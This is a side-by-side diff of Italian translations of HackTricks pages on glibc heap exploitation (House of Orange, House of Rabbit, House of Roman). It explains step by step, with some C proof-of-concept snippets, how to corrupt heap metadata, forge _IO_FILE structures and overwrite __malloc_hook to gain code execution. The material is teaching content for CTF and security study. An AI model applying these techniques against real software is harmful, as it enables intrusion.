* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
@ -29,32 +30,32 @@ Altri modi per supportare HackTricks:
### Requisiti ### Requisiti
* Sovrascrivere la dimensione del top chunk * Sovrascrivere la dimensione del top chunk
* Leak di Libc e heap * Perdite di Libc e heap
### Contesto ### Contesto
Alcuni dettagli necessari dai commenti di [**questo esempio**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)**:** Alcune informazioni necessarie dai commenti di [**questo esempio**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)**:**
Il punto è che, nelle versioni più vecchie di libc, quando veniva chiamata la funzione `malloc_printerr`, essa avrebbe **iterato attraverso una lista di strutture `_IO_FILE`** memorizzate in `_IO_list_all`, ed effettivamente **eseguito** un puntatore di istruzione in quella struttura.\ Il punto è che, nelle versioni più vecchie di libc, quando veniva chiamata la funzione `malloc_printerr`, essa avrebbe **iterato attraverso una lista di strutture `_IO_FILE`** memorizzate in `_IO_list_all`, e in realtà **eseguito** un puntatore di istruzione in quella struttura.\
Questo attacco forgerà una **falsa struttura `_IO_FILE`** che scriveremo in **`_IO_list_all`**, e causerà l'esecuzione di `malloc_printerr`.\ Questo attacco forgerà una **falsa struttura `_IO_FILE`** che scriveremo in **`_IO_list_all`**, e causerà l'esecuzione di `malloc_printerr`.\
Poi eseguirà qualsiasi indirizzo che abbiamo memorizzato nella tabella di salto delle strutture **`_IO_FILE`**, e otterremo l'esecuzione del codice Poi **eseguirà qualsiasi indirizzo** che abbiamo memorizzato nella tabella di salto delle strutture **`_IO_FILE`**, e otterremo l'esecuzione del codice
### Attacco ### Attacco
L'attacco inizia riuscendo a ottenere il **top chunk** all'interno del **unsorted bin**. Questo viene ottenuto chiamando `malloc` con una dimensione maggiore della dimensione corrente del top chunk ma più piccola di **`mmp_.mmap_threshold`** (di default è 128K), che altrimenti attiverebbe l'allocazione `mmap`. Ogni volta che la dimensione del top chunk viene modificata, è importante assicurarsi che il **top chunk + la sua dimensione** sia allineato alla pagina e che il bit **prev\_inuse** del top chunk sia sempre impostato. L'attacco inizia riuscendo a ottenere il **top chunk** all'interno del **unsorted bin**. Questo viene ottenuto chiamando `malloc` con una dimensione maggiore della dimensione corrente del top chunk ma minore di **`mmp_.mmap_threshold`** (di default è 128K), che altrimenti attiverebbe l'allocazione di `mmap`. Ogni volta che la dimensione del top chunk viene modificata, è importante assicurarsi che il **top chunk + la sua dimensione** sia allineato alla pagina e che il bit **prev\_inuse** del top chunk sia sempre impostato.
Per ottenere il top chunk all'interno dell'unsorted bin, allocare un chunk per creare il top chunk, cambiare la dimensione del top chunk (con un overflow nel chunk allocato) in modo che **top chunk + dimensione** sia allineato alla pagina con il bit **prev\_inuse** impostato. Quindi allocare un chunk più grande della nuova dimensione del top chunk. Nota che `free` non viene mai chiamato per ottenere il top chunk nell'unsorted bin. Per ottenere il top chunk all'interno dell'unsorted bin, allocare un chunk per creare il top chunk, cambiare la dimensione del top chunk (con un overflow nel chunk allocato) in modo che **top chunk + dimensione** sia allineato alla pagina con il bit **prev\_inuse** impostato. Quindi allocare un chunk più grande della nuova dimensione del top chunk. Nota che `free` non viene mai chiamato per ottenere il top chunk nell'unsorted bin.
Il vecchio top chunk è ora nell'unsorted bin. Supponendo di poter leggere i dati al suo interno (possibilmente a causa di una vulnerabilità che ha causato anche l'overflow), è possibile ottenere i leak degli indirizzi di Libc da esso e ottenere l'indirizzo di **\_IO\_list\_all**. Il vecchio top chunk è ora nell'unsorted bin. Supponendo di poter leggere i dati al suo interno (possibilmente a causa di una vulnerabilità che ha causato anche l'overflow), è possibile ottenere perdite di indirizzi di Libc da esso e ottenere l'indirizzo di **\_IO\_list\_all**.
Viene eseguito un attacco all'unsorted bin abusando dell'overflow per scrivere `topChunk->bk->fwd = _IO_list_all - 0x10`. Quando viene allocato un nuovo chunk, il vecchio top chunk verrà diviso e un puntatore all'unsorted bin verrà scritto in **`_IO_list_all`**. Viene eseguito un attacco all'unsorted bin abusando dell'overflow per scrivere `topChunk->bk->fwd = _IO_list_all - 0x10`. Quando viene allocato un nuovo chunk, il vecchio top chunk verrà diviso e un puntatore all'unsorted bin verrà scritto in **`_IO_list_all`**.
Il passo successivo comporta la riduzione della dimensione del vecchio top chunk per adattarla a un bin piccolo, impostando specificamente la sua dimensione a **0x61**. Questo serve a due scopi: Il passo successivo comporta la riduzione della dimensione del vecchio top chunk per adattarla a un bin piccolo, impostando specificamente la sua dimensione su **0x61**. Questo serve a due scopi:
1. **Inserimento nel Small Bin 4**: Quando `malloc` esamina l'unsorted bin e vede questo chunk, cercherà di inserirlo nel small bin 4 a causa delle sue dimensioni ridotte. Questo fa sì che il chunk finisca all'inizio della lista del small bin 4 che è la posizione del puntatore FD del chunk di **`_IO_list_all`** poiché abbiamo scritto un indirizzo vicino in **`_IO_list_all`** tramite l'attacco all'unsorted bin. 1. **Inserimento nel Small Bin 4**: Quando `malloc` esamina l'unsorted bin e vede questo chunk, cercherà di inserirlo nel small bin 4 a causa delle sue dimensioni ridotte. Questo fa sì che il chunk finisca all'inizio della lista del small bin 4 che è la posizione del puntatore FD del chunk di **`_IO_list_all`** poiché abbiamo scritto un indirizzo vicino in **`_IO_list_all`** tramite l'attacco all'unsorted bin.
2. **Attivazione di un Controllo Malloc**: Questa manipolazione della dimensione del chunk causerà a `malloc` di eseguire controlli interni. Quando controlla la dimensione del falso chunk in avanti, che sarà zero, attiva un errore e chiama `malloc_printerr`. 2. **Attivazione di un Controllo Malloc**: Questa manipolazione della dimensione del chunk causerà a `malloc` di eseguire controlli interni. Quando controlla la dimensione del falso chunk in avanti, che sarà zero, attiva un errore e chiama `malloc_printerr`.
La manipolazione del bin piccolo ti permetterà di controllare il puntatore in avanti del chunk. L'overlap con **\_IO\_list\_all** viene utilizzato per forgiare una falsa struttura **\_IO\_FILE**. La struttura è attentamente progettata per includere campi chiave come `_IO_write_base` e `_IO_write_ptr` impostati su valori che superano i controlli interni in libc. Inoltre, viene creato una tabella di salto all'interno della struttura falsa, dove un puntatore di istruzione è impostato all'indirizzo in cui può essere eseguito del codice arbitrario (ad esempio, la funzione `system`). La manipolazione del bin piccolo ti permetterà di controllare il puntatore in avanti del chunk. L'overlap con **\_IO\_list\_all** viene utilizzato per forgiare una falsa struttura **\_IO\_FILE**. La struttura è attentamente progettata per includere campi chiave come `_IO_write_base` e `_IO_write_ptr` impostati su valori che superano i controlli interni in libc. Inoltre, viene creato una tabella di salto all'interno della struttura falsa, dove un puntatore di istruzione è impostato sull'indirizzo in cui può essere eseguito del codice arbitrario (ad esempio, la funzione `system`).
Per riassumere la parte rimanente della tecnica: Per riassumere la parte rimanente della tecnica:
@ -63,36 +64,37 @@ Per riassumere la parte rimanente della tecnica:
Il passo successivo comporta la forgiatura di una falsa struttura **\_IO\_FILE** che si sovrappone al vecchio top chunk attualmente nell'unsorted bin. I primi byte di questa struttura sono attentamente progettati per includere un puntatore a un comando (ad esempio, "/bin/sh") che verrà eseguito. Il passo successivo comporta la forgiatura di una falsa struttura **\_IO\_FILE** che si sovrappone al vecchio top chunk attualmente nell'unsorted bin. I primi byte di questa struttura sono attentamente progettati per includere un puntatore a un comando (ad esempio, "/bin/sh") che verrà eseguito.
I campi chiave nella falsa struttura **\_IO\_FILE**, come `_IO_write_base` e `_IO_write_ptr`, sono impostati su valori che superano i controlli interni in libc. Inoltre, viene creato una tabella di salto all'interno della falsa struttura, dove un puntatore di istruzione è impostato all'indirizzo in cui può essere eseguito del codice arbitrario. Tipicamente, questo sarebbe l'indirizzo della funzione `system` o un'altra funzione che può eseguire comandi shell. I campi chiave nella falsa struttura **\_IO\_FILE**, come `_IO_write_base` e `_IO_write_ptr`, sono impostati su valori che superano i controlli interni in libc. Inoltre, viene creato una tabella di salto all'interno della falsa struttura, dove un puntatore di istruzione è impostato sull'indirizzo in cui può essere eseguito del codice arbitrario. Tipicamente, questo sarebbe l'indirizzo della funzione `system` o un'altra funzione che può eseguire comandi shell.
L'attacco culmina quando una chiamata a `malloc` attiva l'esecuzione del codice attraverso la struttura manipolata di **\_IO\_FILE**. Ciò consente efficacemente l'esecuzione di codice arbitrario, che di solito porta alla creazione di una shell o all'esecuzione di un altro payload dannoso. L'attacco culmina quando una chiamata a `malloc` attiva l'esecuzione del codice attraverso la struttura **\_IO\_FILE** manipolata. Ciò consente efficacemente l'esecuzione di codice arbitrario, che di solito porta alla creazione di una shell o all'esecuzione di un altro payload dannoso.
**Sommario dell'Attacco:** **Sommario dell'Attacco:**
1. **Configura il top chunk**: Alloca un chunk e modifica la dimensione del top chunk. 1. **Configura il top chunk**: Alloca un chunk e modifica la dimensione del top chunk.
2. **Forza il top chunk nell'unsorted bin**: Alloca un chunk più grande. 2. **Forza il top chunk nell'unsorted bin**: Alloca un chunk più grande.
3. **Leak degli indirizzi di Libc**: Utilizza la vulnerabilità per leggere dall'unsorted bin. 3. **Perdite di indirizzi di Libc**: Usa la vulnerabilità per leggere dall'unsorted bin.
4. **Esegui l'attacco all'unsorted bin**: Scrivi in **\_IO\_list\_all** utilizzando un overflow. 4. **Esegui l'attacco all'unsorted bin**: Scrivi in **\_IO\_list\_all** utilizzando un overflow.
5. **Riduci il vecchio top chunk**: Regola la sua dimensione per adattarla a un bin piccolo. 5. **Riduci il vecchio top chunk**: Regola la sua dimensione per adattarla a un bin piccolo.
6. **Configura una falsa struttura \_IO\_FILE**: Forgia una falsa struttura file per dirottare il flusso di controllo. 6. **Configura una falsa struttura \_IO\_FILE**: Forgia una falsa struttura file per dirottare il flusso di controllo.
7. **Attiva l'esecuzione del codice**: Alloca un chunk per eseguire l'attacco ed eseguire del codice arbitrario. 7. **Attiva l'esecuzione del codice**: Alloca un chunk per eseguire l'attacco ed eseguire del codice arbitrario.
Questo approccio sfrutta i meccanismi di gestione dell'heap, i leak delle informazioni di Libc e gli overflow dell'heap per ottenere l'esecuzione del codice senza chiamare direttamente `free`. Creando attentamente la falsa struttura **\_IO\_FILE** e posizionandola nella posizione corretta, l'attacco può dirottare il flusso di controllo durante le operazioni standard di allocazione di memoria. Ciò consente l'esecuzione di codice arbitrario, potenzialmente portando alla creazione di una shell o ad altre attività dannose. Questo approccio sfrutta i meccanismi di gestione dell'heap, le perdite di informazioni di Libc e gli overflow dell'heap per ottenere l'esecuzione del codice senza chiamare direttamente `free`. Creando attentamente la falsa struttura **\_IO\_FILE** e posizionandola nella posizione corretta, l'attacco può dirottare il flusso di controllo durante le operazioni standard di allocazione di memoria. Ciò consente l'esecuzione di codice arbitrario, potenzialmente portando alla creazione di una shell o ad altre attività dannose.
## Riferimenti ## Riferimenti
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/) * [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/)
* [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html) * [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Casa del Coniglio # Casa del Coniglio
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
### Requisiti ### Requisiti
1. **Capacità di modificare il puntatore fd o la dimensione del fast bin**: Questo significa che puoi cambiare il puntatore in avanti di un chunk nel fastbin o la sua dimensione. 1. **Capacità di modificare il puntatore fd o la dimensione del fast bin**: Ciò significa che puoi cambiare il puntatore in avanti di un chunk nel fastbin o la sua dimensione.
2. **Capacità di attivare `malloc_consolidate`**: Questo può essere fatto allocando un chunk grande o unendo il chunk superiore, il che costringe l'heap a consolidare i chunk. 2. **Capacità di attivare `malloc_consolidate`**: Questo può essere fatto allocando un chunk grande o unendo il chunk superiore, il che costringe l'heap a consolidare i chunk.
### Obiettivi ### Obiettivi
1. **Creare chunk sovrapposti**: Per far sì che un chunk si sovrapponga a un altro, consentendo ulteriori manipolazioni dell'heap. 1. **Creare chunk sovrapposti**: Per far sì che un chunk si sovrapponga a un altro, consentendo ulteriori manipolazioni dell'heap.
2. **Forgiare chunk falsi**: Per ingannare l'allocatore facendo trattare un chunk falso come un chunk legittimo durante le operazioni sull'heap. 2. **Forgiare chunk falsi**: Per ingannare l'allocatore affinché tratti un chunk falso come un chunk legittimo durante le operazioni sull'heap.
## Passaggi dell'attacco ## Passaggi dell'attacco
@ -49,15 +50,15 @@ chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the
```cpp ```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
``` ```
Assegnare un grosso chunk attiva la funzione `malloc_consolidate`, unendo i chunk piccoli nel fast bin. La dimensione manipolata di `chunk1` fa sì che si sovrapponga a `chunk2`. Allocare un grosso blocco attiva la funzione `malloc_consolidate`, unendo i piccoli blocchi nel fast bin. La dimensione manipolata di `chunk1` fa sì che si sovrapponga a `chunk2`.
Dopo la consolidazione, `chunk1` si sovrappone a `chunk2`, consentendo ulteriori sfruttamenti. Dopo la consolidazione, `chunk1` si sovrappone a `chunk2`, consentendo ulteriori sfruttamenti.
### POC 2: Modificare il puntatore `fd` ### POC 2: Modificare il puntatore `fd`
**Obiettivo**: Creare un chunk falso manipolando il puntatore `fd` del fast bin. **Obiettivo**: Creare un blocco falso manipolando il puntatore `fd` del fast bin.
* **Passo 1: Assegnare i Chunk** * **Passo 1: Allocare i Blocchi**
```cpp ```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
@ -74,7 +75,7 @@ chunk2[11] = 0x21; // Next-next fake chunk
```cpp ```cpp
free(chunk1); // Frees the chunk at 0x602000 free(chunk1); // Frees the chunk at 0x602000
``` ```
**Spiegazione**: Liberiamo `chunk1`, aggiungendolo all'elenco fastbin. **Spiegazione**: Liberiamo `chunk1`, aggiungendolo alla lista fastbin.
* **Passo 4: Modifica `fd` di `chunk1`** * **Passo 4: Modifica `fd` di `chunk1`**
```cpp ```cpp
@ -86,9 +87,9 @@ chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk wit
```cpp ```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation malloc(5000); // Allocate a large chunk to trigger heap consolidation
``` ```
Allocare nuovamente un grosso blocco attiva `malloc_consolidate`, che elabora il blocco falso. Allocare di nuovo un grosso blocco attiva `malloc_consolidate`, che elabora il blocco falso.
Il blocco falso diventa parte dell'elenco fastbin, rendendolo un blocco legittimo per ulteriori sfruttamenti. Il blocco falso diventa parte della lista fastbin, rendendolo un blocco legittimo per ulteriori sfruttamenti.
### Riassunto ### Riassunto

View file

@ -1,22 +1,23 @@
# Casa di Roman # House of Roman
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
Questa è stata una tecnica molto interessante che ha permesso di ottenere RCE senza perdite tramite fake fastbins, l'attacco unsorted\_bin e sovrascritture relative. Tuttavia è stata [**corretta**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). Questa è stata una tecnica molto interessante che ha permesso l'esecuzione di codice remoto senza perdite tramite fake fastbins, l'attacco unsorted\_bin e sovrascritture relative. Tuttavia è stata [**corretta**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
### Codice ### Codice
@ -24,12 +25,12 @@ Questa è stata una tecnica molto interessante che ha permesso di ottenere RCE s
### Obiettivo ### Obiettivo
* RCE sfruttando i puntatori relativi * Esecuzione di codice remoto sfruttando puntatori relativi
### Requisiti ### Requisiti
* Modifica dei puntatori fastbin e unsorted bin * Modifica dei puntatori fastbin e unsorted bin
* Devono essere forzati 12 bit di casualità (0,02% di probabilità) di funzionare * Devono essere forzati 12 bit di casualità (0,02% di probabilità) per funzionare
## Passaggi dell'Attacco ## Passaggi dell'Attacco
@ -37,7 +38,7 @@ Questa è stata una tecnica molto interessante che ha permesso di ottenere RCE s
Creare diversi chunk: Creare diversi chunk:
* `fastbin_victim` (0x60, offset 0): Chunk UAF in seguito da modificare il puntatore dell'heap per puntare al valore di LibC. * `fastbin_victim` (0x60, offset 0): Chunk UAF successivamente da modificare per far puntare il puntatore dell'heap al valore di LibC.
* `chunk2` (0x80, offset 0x70): Per un buon allineamento * `chunk2` (0x80, offset 0x70): Per un buon allineamento
* `main_arena_use` (0x80, offset 0x100) * `main_arena_use` (0x80, offset 0x100)
* `relative_offset_heap` (0x60, offset 0x190): offset relativo sul chunk 'main\_arena\_use' * `relative_offset_heap` (0x60, offset 0x190): offset relativo sul chunk 'main\_arena\_use'
@ -62,7 +63,7 @@ unsorted: leftover_main
*/ */
``` ```
* &#x20;`fastbin_victim` ha un `fd` che punta a `relative_offset_heap` * &#x20;`fastbin_victim` ha un `fd` che punta a `relative_offset_heap`
* &#x20;`relative_offset_heap` è uno spostamento dalla `fake_libc_chunk`, che contiene un puntatore a `main_arena + 0x68` * &#x20;`relative_offset_heap` è un offset di distanza da `fake_libc_chunk`, che contiene un puntatore a `main_arena + 0x68`
* Cambiando l'ultimo byte di `fastbin_victim.fd` è possibile far sì che `fastbin_victim punti` a `main_arena + 0x68` * Cambiando l'ultimo byte di `fastbin_victim.fd` è possibile far sì che `fastbin_victim punti` a `main_arena + 0x68`
Per le azioni precedenti, l'attaccante deve essere in grado di modificare il puntatore fd di `fastbin_victim`. Per le azioni precedenti, l'attaccante deve essere in grado di modificare il puntatore fd di `fastbin_victim`.
@ -71,7 +72,7 @@ Quindi, `main_arena + 0x68` non è così interessante, quindi modifichiamolo in
Nota che `__memalign_hook` di solito inizia con `0x7f` e zeri prima di esso, quindi è possibile falsificarlo come un valore nel fast bin `0x70`. Poiché gli ultimi 4 bit dell'indirizzo sono **casuali** ci sono `2^4=16` possibilità affinché il valore finisca puntando dove siamo interessati. Quindi qui viene eseguito un attacco BF in modo che il chunk finisca come: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** Nota che `__memalign_hook` di solito inizia con `0x7f` e zeri prima di esso, quindi è possibile falsificarlo come un valore nel fast bin `0x70`. Poiché gli ultimi 4 bit dell'indirizzo sono **casuali** ci sono `2^4=16` possibilità affinché il valore finisca puntando dove siamo interessati. Quindi qui viene eseguito un attacco BF in modo che il chunk finisca come: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
(Per ulteriori informazioni sugli altri byte, controlla la spiegazione nell'[esempio di how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). Se il BF non funziona, il programma crasha (quindi riprova finché non funziona). (Per ulteriori informazioni sugli altri byte, controlla la spiegazione nell'[esempio how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). Se il BF non funziona, il programma crasha (quindi riprova finché non funziona).
Quindi, vengono eseguiti 2 malloc per rimuovere i 2 chunk iniziali del fast bin e viene allocato un terzo per ottenere un chunk nel **`__malloc_hook:`** Quindi, vengono eseguiti 2 malloc per rimuovere i 2 chunk iniziali del fast bin e viene allocato un terzo per ottenere un chunk nel **`__malloc_hook:`**
```c ```c
@ -101,7 +102,7 @@ free(unsorted_bin_ptr);
Usa un UAF in questo chunk per puntare `unsorted_bin_ptr->bk` all'indirizzo di `__malloc_hook` (abbiamo già forzato questo in precedenza). Usa un UAF in questo chunk per puntare `unsorted_bin_ptr->bk` all'indirizzo di `__malloc_hook` (abbiamo già forzato questo in precedenza).
{% hint style="danger" %} {% hint style="danger" %}
Nota che questo attacco corrompe il bin non ordinato (quindi anche small e large). Quindi possiamo **usare solo allocazioni dal fast bin ora** (un programma più complesso potrebbe fare altre allocazioni e bloccarsi), e per attivare questo dobbiamo **allocare la stessa dimensione o il programma si bloccherà.** Nota che questo attacco corrompe il bin non ordinato (quindi anche small e large). Quindi possiamo **utilizzare solo allocazioni dal fast bin ora** (un programma più complesso potrebbe fare altre allocazioni e bloccarsi), e per attivare questo dobbiamo **allocare la stessa dimensione o il programma si bloccherà.**
{% endhint %} {% endhint %}
Quindi, per attivare la scrittura di `main_arena + 0x68` in `__malloc_hook` eseguiamo dopo aver impostato `__malloc_hook` in `unsorted_bin_ptr->bk` dobbiamo semplicemente fare: **`malloc(0x80)`** Quindi, per attivare la scrittura di `main_arena + 0x68` in `__malloc_hook` eseguiamo dopo aver impostato `__malloc_hook` in `unsorted_bin_ptr->bk` dobbiamo semplicemente fare: **`malloc(0x80)`**
@ -122,16 +123,17 @@ Infine, una volta sovrascritto l'indirizzo corretto, **chiama `malloc` e attiva
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) * [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/) * [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
